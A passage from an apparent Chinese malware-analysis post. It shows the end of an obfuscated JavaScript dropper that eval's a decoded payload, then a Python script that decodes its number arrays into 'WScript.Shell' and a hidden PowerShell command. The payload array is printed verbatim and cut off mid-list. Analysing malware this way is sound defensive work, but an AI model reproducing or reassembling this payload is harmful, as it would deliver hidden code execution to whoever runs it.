f,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>

稍微调整一下,然后console.log(SxhM),看看是个啥

0f86c9e1-0fe4-4403-b0ca-b6afedc6014f

丢给ai跑个解密脚本

  1# -*- coding: utf-8 -*-
  2
  3def decode_string_from_numbers(number_array):
  4    """
  5    这个函数模拟了恶意JavaScript代码中的ioRjQN函数。
  6    它接收一个数字列表,将每个数字减去601,然后将结果转换为ASCII字符。
  7    """
  8    decoded_chars = []
  9    for number in number_array:
 10        # chr() 函数将一个整数转换为对应的ASCII/Unicode字符
 11        # 这与JavaScript中的 String.fromCharCode() 功能相同
 12        try:
 13            char_code = number - 601
 14            decoded_chars.append(chr(char_code))
 15        except ValueError:
 16            # 如果计算出的编码无效,则添加一个占位符
 17            decoded_chars.append('[INVALID_CHAR]')
 18
 19    # 将所有字符连接成一个字符串
 20    return "".join(decoded_chars)
 21
 22
 23# --- 从原始恶意代码中提取的两个数字数组 ---
 24
 25# 这个数组解码后是 "WScript.Shell"
 26array_for_object = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]
 27
 28# 这个长数组解码后是恶意的PowerShell命令
 29array_for_payload = [
 30    713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720,
 31    633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717,
 32    702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692,
 33    715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640,
 34    698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702,
 35    650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700,
 36    702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699,
 37    703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649,
 38    658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658,
 39    649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700,
 40    698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698,
 41    649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652,
 42    699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702,
 43    651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654,
 44    698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698,
 45    658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700,
 46    702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699,
 47    657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699,
 48    702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698,
 49    658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658,
 50    699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702,
 51    699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
 52    698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702,
 53    650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658,
 54    702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703,
 55    655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658,
 56    698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698,
 57    653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 658,
 58    703, 657, 703, 653, 703, 657, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699,
 59    658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700,
 60    698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699,
 61    702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655,
 62    703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658,
 63    699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657,
 64    702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698,
 65    703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658,
 66    699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657,
 67    703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654,
 68    698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698,
 69    650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657,
 70    657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698,
 71    651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651,
 72    657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698,
 73    650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657,
 74    702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658,
 75    656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
 76    702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698,
 77    700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654,
 78    698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699,
 79    657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703,
 80    698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702,
